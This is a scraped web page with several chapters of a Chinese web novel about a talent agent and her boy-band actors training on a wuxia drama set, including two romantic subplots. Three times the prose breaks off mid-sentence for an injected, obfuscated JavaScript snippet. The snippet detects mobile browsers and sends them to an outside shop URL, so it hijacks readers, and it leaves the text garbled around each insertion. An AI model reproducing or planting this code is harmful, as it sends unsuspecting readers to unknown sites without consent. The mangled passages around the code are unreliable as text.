做经纪人这两年宫欢没赚多少钱,倒是看会了许多门道,她也看过不少的影片,表演课,为了练出火眼金睛,能一眼看出艺人的不足,她学习的东西比艺人学的要多的多。 这一时半会新找个表演老师是个难事,宫欢只得去导演组那边找到陈导,让她推荐一个最近有时间的表演老师。 没想到陈导刚好有个朋友,是之前拿过百亿票房的老戏骨,最近正没什么事,于是宫欢厚着脸皮要了人家微信,给出算是一个合理的钱,又说是陈导朋友之类的话,对面才总算答应了。 三人等待着新的表演老师到来期间,互相之间只能向萧子重学习表演技巧,刚开始萧子重倾尽一身所学,向两位队友传授绝技,在挨过宫欢一个打后,也认识到问题。 ——他的表演方式到现在还没更正过来,仍是偏浮夸的类型,表演方式不细致,走的是大张大合的路线,这放在影视剧里,是非常致命的弱点。 当然,话剧演员来演影视剧是降维打击,这确实是毋庸置疑的,可问题是,两者如同湖与海,虽然都是水,可并不相同。 所以萧子重很多时候并不敢放开了去教另外两人,只是在一些关键点上疏导一下。 表演与演技这东西是非常私人、独特的,千人千面,一个剧本不同的演员来演绎出的东西都不会重样,思想与理解不同,所呈现出的东西就不一样。 几人入戏的方式也各不相同。 萧子重是随时随地都可以入戏,他讲究用情用景领着自身进入状态。譬如现场的布景,服化道与对手演员之类的。 安声演戏就没有章法,你让他演什么他就去努力演出那个状态,能看出表演痕迹,而他恰好是听劝的选手,某些地方表演痕迹过重了,萧子重他们稍微指点一下,他便就很快改掉,学得快,不过悟性不高,对表演的理解只在浅层。 而令萧子重惊讶的是,奚亭云的状态。 他们每个人的角色都不超过三句台词,人物介绍更是少之又少,可奚亭云硬是扩写出了一长串的人物小传,他将细节写在纸上,贴在他的充气床那边的帐篷上。除此外,还有表演心得,武打戏技巧等等,没多久,帐篷上的纸条已经有几十张之多了。 萧子重隔几天去看,纸条总会多出几张,他有些咋舌地上下看着那些纸条,从人物微表情设计,肢体设计,还有全套的施法武术动作——被奚亭云画出一个个不同的小小的人,看起来像是武功秘籍似的。 要说专业,整个【风雨九州】剧组里的人可能找不出一个比萧子重专业的。 可萧子重平心而论,要说勤奋,他身边真找不出像奚亭云一样的来。 其实最初刚认识的时候,萧子重表面不显,心里却存有芥蒂。 奚亭云是被宫欢在路边随便挖掘到的,他此前从未接触过任何关于表演的经验,他会尊重表演吗,他能演吗? 如果谁都可以当演员,那萧子重学了这么些年的表演算什么? 萧子重始终因为这点哽在心头,对奚亭云的态度也比较一般,但随着接触多了,那些一起经历过的努力,抗争(宫欢版),甚至现在他眼见着奚亭云要跳入宫欢这个大火坑中,他莫名扛起了一种责任感。 ——不能眼睁睁看着战友送死啊! - 又是一天凌晨,三人吊着威亚线,被从空中放至地面的软垫上,个个手脚瘫软,大汗淋漓,他们躺着休息了会,才动手解开威亚衣。 几人的身体上都或多或少的有一些淤青伤痕,武打戏不可避免会受伤。 奚亭云解开了威亚衣后,没立即起身。萧子重和安声互相搀扶着喊他:“老奚,走了,去睡会。” “你们先去,我坐会。”奚亭云向他们摆摆手,两人也就点点头,一瘸一拐地走了。 等人散尽,奚亭云单手撑着身后的软垫起身,他脊背略弯,步伐偏慢地走进了一旁的休息室,反手将门关上,反锁。 他走到沙发前,从携带的背包里找出了一管药膏,接着两手交叉捏住衣服下摆,向上拉扯几下便脱了下来,将棉质T恤随手丢在一旁的沙发扶手上,他走到落地镜前。 清晰的镜面内是让人心惊的画面。偏白的皮肤,从胸部到腰腹,被勒出了数条青青紫紫的淤痕,被威亚线勒出的鲜红伤痕隐隐作痛,似有几百只蚂蚁啃咬般麻痒,不似流血的伤口,说疼就疼得很。 这痛很折磨人。隐隐的,一直持续不断的,总让人无法忽视。痛意自身体各处传来,压着神经崩溃的边缘反复碾磨,每日不断地叠加,无法摆脱,只能承受。 奚亭云一手捏着药膏,一手接住挤出的膏状体,他对着镜子将乳白色的膏体涂抹在新鲜的伤口上,手指移动着,膏体便被温度融化,温和地熨帖在伤口上。 他不由得走了神,他最近总是走神。 或许应该说,他最近情绪不太稳定。也许是昼夜颠倒的作息,持续不断的高强度训练,再加上他总是在练习进入角色...... 萧子重曾问过他:“你的入戏方式是什么?” 他当时卡了壳,顿了片刻才说不知道。于是萧子重便开始长篇大论地教他如何进入情绪状态。 他撒了谎,他知道的。 入戏很简单,没有萧子重说的那么复杂麻烦,甚至简单到,他随时都可以入戏。 无论身处怎样的环境,身边的人是认识或是陌生,他都能很快入戏,只要,他将情景设置成‘宫欢’就好。 冰凉的药膏不断触上胸口腰腹的皮肤,又迅速融成黏腻的液体。奚亭云低着头,专心致志地擦药,他要好好保养皮肤,不能留疤,不然不好看。 就像此刻,或许是宫欢的手指拂过那些刺眼的伤痕,痛与痒便不再是折磨,奚亭云紧闭上眼,仰起头,身体轻微的颤抖,脊背的肌肉紧绷,背肌的纹理非常漂亮,他吞咽着唾液,汗珠顺着下颌流过脖颈,滑过喉结。 他的喘息声也有意控制,脑海里,心里都在默念那两个字。 欢欢,欢欢。 “入戏支柱,这是个非常重要的东西,”萧子重说,“一旦你设置好了入戏支柱,那么以后不论出演什么角色,周围有成千上万个观众看你,你都不会被影响,因为支柱在,你已经进入了状态。” “你的入戏支柱,是什么?是人,是物,是画面,甚至是一个动作都可以。” “是人,一个人。” 她常常出现,在梦里,在身边,在他每个追逐的尽头。 她是他进入表演状态的唯一支柱,他常幻想她是他的女主角,他的配角,他的上帝视角,他的镜头,他所有的臆想。 很久之前,奚亭云就为自己早早建立好了入戏支柱,那时宫欢还是朵遥不可及的云彩,现在他登上了升云梯,来到这朵云彩身边。 他无法控制地膨胀,贪婪,自私,恶心,有时他都会厌恶自己的嘴脸,渴求她,需要她,像什么,像条摇尾乞怜的狗。 她会不会害怕,还是觉得讨厌。 奚亭云不敢想,不敢深想,哪怕是思考一下他们应该建立的正常关系,他都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126404|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢。只能任由宫欢牵引,去哪里都好,在她身边就好。 擦完药走出休息室,是一小时后。 回到帐篷,萧子重和安声呼呼大睡,宫欢则坐在一边的马扎上,电脑放在充气床上,听见动静抬起了头。 她这两天自然了许多,抬手冲他挥了挥,示意他过来休息。 很温馨。奚亭云眼眸微亮,在只剩一盏壁灯的情况下,也非常明显,他快步走了过来,嘴角带着笑,但似乎又想到什么,走到一半拐了个弯,往洗浴间那边走了两步,停住。 “我身上有点脏,”他说,“要洗一下。” 宫欢满脸疑惑:“你前几天都是直接倒头就睡啊。” 奚亭云沉默了两秒:“今天很脏。” 要是平时,宫欢估计就放人走了,她才懒得管他。 但前几天,她刚被他勾引过,这是非常失败的,她阅人无数,看过多少俊男美女,这等颜值,能迷惑她?她能被迷惑? 宫欢不信自己这么容易就上钩,不信她这么容易失败。 所以,她要扳回一局。 只见她微微挑眉,工作也不忙了,抱着手臂想往后靠椅背,落了个空才发现她坐的是马扎,没靠背。索性站起身,一边盯着奚亭云上下看,一边走近。 “是吗?”宫欢语调拉长,放轻声音,她眼眸弯弯,壁灯的光亮坠在眼底,像碎落的星,她笑得花枝乱颤,“让我好好检查检查,哪里比较脏。” 她分明是戏谑玩闹的模样,奚亭云却直勾勾地回看她,眨都不眨一下眼,不动声色地说:“你想从哪里开始检查?” 他声音低沉,面容大半隐在阴影里,鼻梁隔开的微光映在侧脸,眼眸便像藏匿于暗处的猎豹,本形渐露。 宫欢微怔。 脚步声细微地响起,他挪动着步子,一下一下地靠近许多,每一步都带着逼近的意味。 “想,怎么检查?”他又说,吐字缓慢,又轻,简直像是调情,两人的距离近到只有一步远。 宫欢被他的反问给问住了,她愣了愣,感觉局势有点不对,有点退缩,却又犟着性子丢了句狠话:“没意思,不玩了。” 撂下话就转身坐回马扎上,忙工作去了。 她总是抽离得很快,奚亭云在原地缓和了会,才走去了洗浴间。 宫欢埋在电脑上的头露出一点,看着奚亭云的背影,轻舒口气。 吓死,还好她机敏,不然可能又要酿成大祸。 - 新的表演老师进组没几天,宫欢便时常听见安声他们专心学习的动静。 她安心不少,心想这回肯定靠谱了。 而过了一段时间,到她验收成果时,又被狠狠地重创了一下。 她那呆萌清俊的大外甥一张口就是一股大碴子味,表演方式更是浑然天成的搞笑派。 “欢姐,”安声表演完一段上天入地的威亚神功后,刚落地就屁颠屁颠地过来求夸,“咋样啊,给个准话。” 说着他骄傲地抱臂仰头,仿佛笃定刚才的表演绝对能让宫欢刮目相看。 那段威亚神功,他练得像个王八在半空扑腾,明明拥有最好的核心,最专业的舞蹈经验,愣是不知道被谁带的飞也不好好飞,活像狗爬。 宫欢心如死灰,再这样下去,安声混成一代搞笑大师不在话下。 她不好太过直白地全批一顿,只好委婉着说:“嗯......要不,还是请之前的老师来教吧。” 安声满脸困惑,挠了挠头:“为啥啊,整那么麻烦,我现在这样感觉挺好,好像,人都松弛了不少呢。” “......我看你皮痒了,”宫欢想骂出声,又忍住,“先把你这满嘴大碴子味给我改回去!” 不等安声追问,她使唤着一边看好戏的萧子重:“你,把他拖走,什么时候改好了再出现在我眼前。” “得嘞!”萧子重幸灾乐祸地捂住安声还要追问的嘴,拖着人往一边去了。 宫欢手指捏着眉心困扰不已,“好好一个爱豆,你接什么地气啊,让你妈知道不得骂死我。” 一天天的,总是为这些人操心。 114. 风雨九州7 跟组将近一个月的时间,三人总算练成了‘威亚神功’,个人的施法动作也都练到了闭着眼睛都能做出来的熟悉程度。 一个月,说长不长,说短不短。 他们白天黑夜地练武,因为吃得少而时常发晕,饿得眼冒金星,看见群演们吃大锅菜都想扑上去干五碗,可总是被眼尖的宫欢发现,一把拽走。 女主演的剧情拍了不少,【风雨九州】的剧组拍摄任务排得很满,而且一旦开拍,基本都是有效镜头,很少拍了一堆片却都作废。 毕竟导演组光是导演就有三个,编剧两个,剧情按照原著拍,但因为漫画的剧情节奏慢,而影视剧讲究快节奏,所以大部分剧情都需要经过导演组们的头脑风暴,才敲定拍摄任务。 拍摄进行到了一半,制片方与导演组才开始安排定妆照。演员们的服装都已定制完成,接下来便可以开始试妆造,在开拍前好及时调整。 女主的妆造是最早做好的,开机前几个月就确定了。 奚亭云三人是路人甲配角,自然就没那么快。 化妆间。 两位顶级化妆师同时给三人做妆造。从发型,配饰,还有面部妆容要附带的特殊印记,都要按照编剧那边设定的来,当然如何在三人的脸上表现出来,就要看化妆功底了。 宫欢没进去看,怕给化妆师们压力。 她一直在绿棚里等着,化完妆三人要来拍定妆照,再之后就是宫欢的工作了,宣发,营销,这些重复的老套路。 剧组里一排靠墙的野营椅,宫欢坐在最边上,偶尔看看远方的风景放空一会,偶尔低下头来回几条消息。 等了将近四五个小时,宫欢睡过了一轮,化妆间那边才有了点动静。 剧组人员大部分在跟随导演拍摄女主演的戏份,少部分陪着摄影等待拍定妆照,因此,三人走出来时,不少人都纷纷转过头去看,一声声的轻呼动静颇大。 宫欢也是被这些声音吵醒,她打了个哈欠,揉着眼往化妆间那边看。 先走出来的是穿着褐红色官袍的人,走动间的衣摆下方带着火烧痕迹,斑驳的喷溅型血迹异常显眼,他头上戴着顶官帽,墨黑色长发散落而下,披在肩前身后,他脸侧打了阴影,眼窝周围更是扫了些灰黑色的眼影,眼妆部分非常精妙,拉长的眼线配上有些妖异的墨绿色美瞳,十分摄人心魄。 宫欢一下就看呆了。 这谁啊,好看成这鬼样子。 而视线对上后,那人朝她笑了笑,周围又是一阵倒吸冷气声,宫欢如遭重击,单手扶额。 这辈子什么时候能看烦奚亭云,她真不想再对他的颜值一惊一乍了,搞得她没见过世面一样。 他脖颈有一圈绳子粗细的勒痕,左手握着一卷半开的血色竹简,右手执笔,正符合他的人物角色。 他走出来后,紧跟着是萧子重,穿着深黑暗纹长袍,单手执扇轻摇,似乎是知道不少人在看他们,还使力甩扇使了一套扇子戏,随后咧起嘴角笑,眼神却没有笑意。 萧子重妆容主要在嘴上,不知是不是他跟化妆师聊过自己经常演小丑,化妆师特意将他的嘴角勾画得更大,一度画到靠耳根的位置,凸显出他的诡异狰狞。勾画面部的颜色用得全是红色,他手中那把折扇展开,书写的诗句也由鲜血写成,字字触目惊心,边角有干涸的血痕,还有些许血手印。 萧子重的脑后上半部分束起了马尾,后半部分散落,有些少年气,却因为怨气重,加上一身的黑红色,让人不敢多看。 再接着就是大外甥了。 安声是蹦出来的,他双手伸直,蹦蹦跳跳地出了化妆间。即使后面的化妆师追着他说:“别拿我的面膜当僵尸的符啊!!” 被人扯走了‘符’,他的面容才显露出来,面上带着惋惜,却因为妆容加持显得他像是对杀死人觉得惋惜。 安声身形是劲瘦那挂的,一身干净的月白绸缎长袍,绝对的翩翩佳公子,妆容并未刻意往阴沉了画,反而是清淡的近乎素颜的妆容。 他头戴玉冠,横插的那根‘簪子’,是一截染血的手指,月白长袍上的暗纹,皆是形似手指抓过的痕迹,扭曲至极,安声扭头看见不少剧组人影在看他,特意装出天真无邪,笑容真挚的模样。 他说:“你的手,怎么断了呀?” 说着还笑得灿烂。众人背后莫名渗出冷汗。 宫欢站起身走到三人旁边,仔细看妆容的精巧度,服装的设计,边看边点头,非常满意的样子。 大剧组就这点好,舍得花钱。 她绕着三人看时,三人也都非常臭屁。奚亭云主动转身让她看得更细,萧子重则扇着扇子吹了声口哨说“好看吧,没见过吧。”,被宫欢一巴掌推开了,安声则是争取道:“欢欢姐,我真的不能贴个符吗,那个符好帅啊!” “要是能贴符,我一定贴个让你闭嘴的符。”宫欢说。 安声只得耷拉着头,老老实实闭嘴了。 妆造都不错,只是一些细节需要再调整一下,三人的脸型与五官怎么画才能最完美,这些都需要和化妆师磨合。 确认好后,便开始拍摄定妆照了。绿棚里灯光、摄影机准备就绪,摄影师看见三人也非常满意,经常玩摄影的人都知道,摄影三要素是:模特,模特,模特。 只要人好看,他哪怕只会无脑拍,都不是问题。 定妆照本来是只拍单人趴,不过宫欢在剧组内有人脉,她特意提前塞钱说要多拍几张三人组合。 剧组里的人都知道三人是宫欢旗下的男团组合,摄影师自然也是知道宫欢大名的,对她的要求那是全部满足。 三人分别前后开始拍摄单人定妆照,接着是三人合拍,全部拍完后花了一个小时,摄影师将原片传给宫欢,自己留一套给剧组后期作宣传使用。 拿着四五百张照片,宫欢本想去找p图的专业人士,但是看着那三张好看的脸,感觉不p也行,于是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126405|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索性就加了点滤镜,发给了助理小组,并在群里说:【定妆照出来了,等拍摄的时候操作他们的账号发出去。】 助理小组的微信群名叫“捧谁谁火”,高姐是群主,她回得最快:【收到。】 其他小助理也前后回了收到。 最近除了男团三人的事要忙,甘惊鸿那边的事务也在增多,前段时间的‘发疯演技’让她受到不少关注,这期间宫欢接到不少资源,资源先在高姐那边筛过一轮,接着宫欢这里也要筛选一轮,最后留下的本子才会给甘惊鸿看。 很多资源是否有坑,宫欢都要仔细调查过,才能拿给自己的艺人,这是她身为经纪人必须要负责的东西。 - 定妆照拍完,三人浑身发酸,但为了维持这身妆造,又好面子,只好强撑着坐有坐相,站有站相。 他们转去其他绿棚继续吊威亚,个个腰背挺得笔直,吊上威亚后,大概是穿上了戏服,沉浸感更强,三人的练习非常顺畅,施法加武术动作来回十几次都很完美。 一通‘飞天威亚’练习后,身上有了汗,三人落地休息了会,互相聊着各自对角色的理解。 萧子重最喜欢大家坐在一起头脑风暴的感觉,每个人都互相聊着自己的进步,设计的角色细节,对原著的想法。 他平时吊儿郎当,散漫得很,这会眼睛很亮,脸上带着自己都察觉不到的笑。 绿棚外的不远处,有人拦住了剧组人员,礼貌问道:“你好,请问,嗯...宫欢经纪人他们在哪边啊?” “没看见啊,不过她的艺人倒是在那边,你问问他们吧。” “好,谢谢。” 那有些距离,细微到像背景音一样的人声像是自动寻到了萧子重的耳朵,他中断自己正在谈论的演戏问题,突兀地转过头——不知道要看哪里,不知道要看谁,可就是想往那边看看。 世界上所有的机缘巧合,是否都有一套准则? 你心里最期待发生的,是什么,你最想看到的是谁,谁就会出现。 于是,甘惊鸿出现了。 萧子重眼神微凝,怔怔地看着她拉着行李箱,顶着烈日,没有目的地寻找着。 大脑擅自切断了所有的感知,听觉、触觉、视觉,身体不受控制地站起来,他陷入奇异的感知里,周围安静,环境模糊,眼睛成为了摄影机的镜头,只能容得下那道身影。 他恍惚,昏沉。 直到甘惊鸿的目光跳跃到他身上,极高兴地跳着朝他挥手:“前辈!” 清脆的声音打破困住他的迷障,他重新恢复了感知,周围的环境又开始流动起来,朋友在说话,剧组人员在走动,太阳很热,他出汗了,她热不热。 “啊,是饼干姐姐!”安声也跟着站起来,惊讶地叫着,就要跑过去接她。 萧子重往旁边一伸手,一巴掌摁住了安声的头,把他往后推了推。 他理了理衣襟,往她的方向走去。 115. 风雨九州8 她今天穿黄白色条纹的无袖针织背心,牛仔短裤,一双简单的帆布鞋,羊毛卷的长发蓬松柔软,跑过来时一荡一荡的,很好看。 萧子重顶着黑红色的戏服,脸上的妆容可谓夸张,因为出汗而有点晕妆,看着有些滑稽。两人一起走向对方,在几顶帐篷间的过道停下。 “你怎么来了?” 萧子重只能想出这个开场白,如果刚才跑过来的是安声,他是不是什么都不会问,只是拉着甘惊鸿说笑。他这样问,没有不想她来的意思,她会不会误解。 甘惊鸿刚才还很兴奋,现在反而冷静不少,手指紧抓着行李箱的拉杆,眼神飘忽,头也低了下去。 更像是萧子重那句开场白说错了。 他结结巴巴地补救:“我很高兴你能来,就是有点突然,我还没准备好......” “新手机拿到了吗?”甘惊鸿忽然这么问,她抬眼看他。 “拿到了。”萧子重心虚,“刚拿到没几天。” “哦。” 微妙的沉默蔓延开来。 萧子重张了张嘴,试图说点什么,却又觉得还是闭嘴的好。 甘惊鸿扭捏了一阵,重重呼出一口气,像是做好了决定,她直视他:“你说拿到新手机会给我发消息的。” 对,他答应了的,可没有做到。 不能找借口,工作忙什么的全是借口,他不能说。萧子重一下有了负罪感,心绪杂乱:“我,是我的错,对不起。” 他垂着头,语气沉闷,偏配着这身红到极致发黑的宽袖长袍,浮夸凶恶的厉鬼全然换了个人,变得服帖,安静。即使是垂着头,甘惊鸿也要仰头看他,高挺的鼻梁侧面并非僵硬的笔直弧线,而是有起伏的骨骼,像一座山峰,硬朗的面部轮廓仿佛随着他的情绪而变得柔软。 “没关系,”她声音忽得上扬,听得出情绪,萧子重下意识又抬起头,他看见她笑眼弯弯,狡黠地眨了眨眼,“我原谅你啦。” 萧子重移不开眼,他愣愣地看着她,薄唇不断张开,却说不出一句话。 他完全死机,甘惊鸿松开行李箱拉杆,两手背在身后,有些娇怯地说:“那你现在给我发消息吧。” “好,好......”他急忙在身上摸索一阵,从宽大的袖袍里拿出手机,没有任何思考能力,只能按照她说的去做,手机停在聊天界面上,他呆滞地问,“要,要发什么?” “就发,”甘惊鸿拖长语调,她倾身离他更近,甚至伸手揪着他胸前的衣襟,强迫他俯身下来,她踮着脚,眼眸里盈着波动的水光,“我想你啦。” 嘭—— 似乎有什么膨胀到了极点而炸开,这一刻,萧子重才知道电影中的一秒到底承载了多少信息,一秒内,他浑身血液急速流动,冲往心脏,他怔愣,惊愕,欣喜,惶恐,不知所措,一切一切复杂的情绪快速涌来,如水流交杂冲撞着,在他胸腔里翻涌。 手心发热,意识模糊,头脑昏昏,他变得不受控,不知道该做出什么正常的反应。 他不停地吞咽着,尖尖的喉结上下滑动着,很口干的样子。 他肉眼可见的慌乱无措,甘惊鸿笑了笑,退后一步,装作开玩笑的样子,搞怪地做了个鬼脸:“我很想你们大家哦,还有欢姐,安声,所以特地过来找你们玩啊,前辈呢,有没有想我?” 原来是这样,原来是这样,她刚才是在开玩笑。 只是个玩笑。 只是个玩笑。 萧子重晃神间,安声跑了过来,拉着甘惊鸿向她炫耀身上的戏服,她也笑得开怀,非常捧场的夸赞安声的妆造。 好像,她真的只是来看‘大家’的,而非他一个人。 手机屏幕的光暗了。 萧子重的眼神也暗了下去。 等安声拉着甘惊鸿去找宫欢的时候,奚亭云走了过来,他倒难得的露出玩味的神色来,平时在宫欢面前装得纯情,现在跟个看乐子的人似的。 “不是来找你的?”奚亭云问。 “管得着吗你。”萧子重恢复了往常的模样,怼了他一句,奚亭云也不恼,只是笑笑,便朝着安声他们的方向走去。 笑笑笑,笑什么笑,装。 人都散了,只剩萧子重一个人停留在刚才的地方,他手指攥紧手机,迟疑许久,最后还是没忍住,再次摁亮屏幕,在对话框敲出两个字—— 【有的。】 他有想她,有的。 - 等萧子重最后回到帐篷时,众人都围着甘惊鸿坐在一起,叽叽喳喳地和她聊着什么,她也热情地回应,大大方方。 “所以,你来这边是要进组了吗?”安声追着问,“好快啊,感觉你已经接到了好几个角色,都被那么多人关注了,我们还天天挨骂,说是模仿TXT男团的拙劣人士。”说着,安声做了个搞怪的表情。 “进组?”萧子重插话进来,他骨架大,往门口一站便挡住了大半的光,等几人看他,“你接到新的角色了吗?” 没等甘惊鸿说话,安声先抢答道:“对啊对啊,现在好多人找饼干老师拍戏呢,一堆的本子!还都是有名有姓的导演。”他连说带比划,夸张的动作让人忍俊不禁。 甘惊鸿噗嗤地笑着缩了缩肩膀,娇俏得很,笑时弯弯的卧蚕托着眼睛,她谦虚道:“哪有那么夸张,也就只有几个啦,而且我也不能全接下来。” “当然不能全接了,”坐在一旁,头埋在电脑里的宫欢竖着耳朵听,时不时插一句,“越是曝光度好,越是要沉得住气,不能被乱花迷了眼。” 几人你一句我一句聊得正在兴头上,萧子重莫名感到自己是多余的那个。 他抿了抿唇,默默走进帐篷,撩着衣袍坐在一边的休息椅上。显然不打算再加入他们的话题里了,只想做个安静的木头人算了。 这可太不符合他的风格了,平时萧子重哪儿都能见缝插针,随时丢两句炸场的话,或是站着说话不腰疼,他那张嘴怎么都不会闲下来。 连宫欢都讶异地挑眉往他那边看了几眼,像是在想,这人又吃错什么药了。 甘惊鸿说笑的声音缓了缓,萧子重坐在她身后几米远的位置,她感觉得到。 但她就是不打算去过多关注他,谁让他晾了她那么久。 甘惊鸿聊完天后站起身,说想出去走走,看看风景。宫欢忙得眼睛都没办法从电脑上移开,只说了句“注意安全”,安声刚才花费了太多的情绪,现在后劲的疲惫上来,困意袭来,只朝甘惊鸿挥挥手,而后一跟头栽在床上。 奚亭云则坐在自己的床边看那些小纸条。 萧子重的眼睛滴溜溜地转了半天,看每个人都在忙,他干坐在休息椅上,手指无意识地搓动,他闭上眼靠在椅背上假寐。 大概过了一分钟,他又忽然睁眼,猛然起身,嘴里念着什么“怎么这时候啊”,接着急切地迈着碎步冲出了帐篷。 一接触到帐篷外的新鲜空气,他才松了口气,眼神迫不及待地四处搜寻,终于在几顶帐篷间看见了甘惊鸿的身影,他想也没想,快步跑了过去。 这几日天晴,日光普照,临靠的湖泊恢复生机,比起前些时候灰蒙蒙的颜色,要更鲜嫩,水面常有凉风刮过,湖边的柳树枝叶垂落,随风摆动。 甘惊鸿就停在了一棵柳树下,窸窸窣窣间轻晃的柳枝条恍若一道动态屏风,衬着她的身影,极青绿盎然,她又穿着鲜明的黄色,两色相撞,一下便抓着人的视线。 不舍移开。 萧子重大步跑来,衣袍在身后翩飞,手工定制的戏服上刺绣精致,里外三四层薄纱,就为了撑起细节。 跑到跟前,他反而放慢了步子,缓和着气息,慢慢走近,像是怕打扰到面前的人。 跑步的动静不小,甘惊鸿并没侧头看他,她只是背着手,看远处湖面上飞掠过的白鹭。等人近到跟前,她问:“前辈知道刚才我们在聊什么吗?” “我知道。”他说。 他发完那条消息后,手指往上翻。 一条条消息出现,她在深夜,凌晨,日出,日落,雨天,在无数个不同的时刻给他发消息,她说她会不会就此为止,以后再也不会有做演员的机会了;她说又在吃叶子菜了;她说关清英拉着她做了一整天的特训,她体会到了累死的感觉;她说夜晚好黑,她睡不着;她说晚上是情绪的最顶峰,是磨炼演技的好时候;她说拍下了最近的演技片段,这样以后有什么退步和进步,一眼就能看出来啦。 她说视频火了,好多人看,她有点害怕。 她说没关系,她会扛过去。 她说接到一个都市角色,她在里面演女二,是个性格讨喜的角色。 她说,你再不回我的消息,我就要去找你了。 消息一共有109条。 他看了很久,将所有消息都看完了。 萧子重只觉得他很混蛋,他在纠结什么,困扰什么,他畏畏缩缩,往前迈了半步又退两步。 她根本不知道他的那些弯弯绕绕,只是单纯地想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126406|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回应,他之前明明拉进了距离,给她一种错觉,现在又莫名其妙地疏离,她怎么会明白呢,她只能紧巴巴地跟着他,追问他,为什么,为什么。 他能说吗,因为他一无是处,他在她身边的作用甚至不及宫欢,不能给她资源,不能第一时间安慰她,不但如此,他还总是给她制造困难,他简直糟透了。 她这次,是为了他来的。 这更令萧子重感到沉重,如此热烈真挚的对待,他真的是头一次遇见。 他一直沉默,甘惊鸿并没放在心上,只是自顾自地笑了下,好像完全不在意他的异常。 “知不知道都没关系,”她说,“反正,前辈也不在意这些。” 她说着就要走,迈着步子朝他的方向走,目视前方,一点眼神都没有分给他,正要擦肩而过,萧子重怎么会让她轻易离开,他伸手,攥住了她的手臂。 那句话像是她失望至极发出的叹息。 萧子重的心底骤然涌上一股恐慌感,他如果再不做点什么,甘惊鸿就不会回头了。 他的犹豫,退缩,会让他错失最重要的东西。 手心的温度灼烫着她手臂内侧嫩白的皮肤,甘惊鸿侧头,微微歪着看他:“前辈?” “我在意的。”他转过头,直视她的双眼,一字一句诚恳地说,“你的所有事情我都在意,你遇到危险我会担心,你面对挫折,我也跟着提心吊胆,你接到新角色我为你高兴,你的事业稳步上升,我为你欢呼......” “我前几天拿到手机了,但卡还没补办下来,这里的网很差,只能蹭宫欢的热点,我昨天才下载好微信,因为太累了所以回去倒头就睡着了,直到刚才........我说这些,不是想为自己辩解,我不想你觉得我是故意的。” 他确实有一点故意的成分,是他犹豫不决而做出的故意。 甘惊鸿眼神软了下来,有些许动容,可眨眼间她又问:“那你之前为什么一直在躲着我?” 她甚至可以说,他为什么一直都在躲着她。甘惊鸿并不钝感,从住在同一个地方却始终碰不到面开始,再到他神不知鬼不觉地进了组,连宫欢都是后来才知道的。 他走得那么匆忙,在躲什么呢? 绕开他的示好,主动,她问出了他们之间最核心的问题。 甘惊鸿觉得,如果不搞清楚这个,也许他还会继续躲着她。 他手心很热,牢牢地攥着她的小臂,却在这个问题出口后,陡然松开了。 萧子重眼神躲闪了下,他偏过头,想找个借口。还没组织好语言,便被甘惊鸿打断:“不许骗我。” 她紧盯着他的脸,执拗又固执,不像平时的她。萧子重抬眼看她,几乎是几秒间,她眼里迅速涌出些泪花,一层浅浅的水波覆盖住了眼眸,鼻尖很快泛红,连带声音都有点哽咽:“我要听实话。” “对不起,对不起......”萧子重一下慌了,抬手想给她擦眼泪,却又觉得突兀,无措地在空中晃了两下,又垂落在身侧,“我,我只是,害怕。” 看她抽鼻子,说哭要哭的样子,他急得厉害,眉心拧起,眼神带着心疼的意味,绞尽脑汁地想哄她,却不如之前顺利,笨拙地重复着几句话:“你,你别哭,我真的错了,是我不对,我混蛋,我该死,不应该晾着你,让你难过,你要怎么样都行...好吗......” 说到后面,他弯着腰,甚至保持着和她同一高度,低声下气得不可思议,眼睛盯着她看,说话声音放得很轻,生怕吓到她,一句一句的都是顺着她。 甘惊鸿深吸了两口气,要流出来的眼泪很快收了回去,只是眼眶还泛红,看着有点可怜。 她想,总算套出来了。 她看似垂着眼不吭声,实际上,心里早就在想,他害怕的是什么? 很多问题不宜深究,问出个话头就已足够,问太多可能适得其反。 甘惊鸿缓和好情绪,她眨了几下眼睛,水洗过的眼眸明亮干净,她露出个笑,趁着萧子重愣神间,侧过脸亲了亲他嘴角。 湖边的清风拂过柳条,萧子重也被什么温柔的拂过,他久久回不过神,等反应过来时,甘惊鸿已经跑远—— 她在茵茵青草地上边跑边跳,两手撑在嘴边充作喇叭,喊着:“我原谅你啦!” 萧子重久久回不过神,刚才涌上来的复杂情绪竟然就这么被轻易的吹散,由一个人带来的喜怒哀乐,也由她拂去,那是甜蜜的,让人留恋不舍的。 人真是复杂。 116. 风雨九州9 甘惊鸿这次来探班的主要目的并不是萧子重。 一是为了新的剧本进组试镜,二就是——宫欢和安声的事。 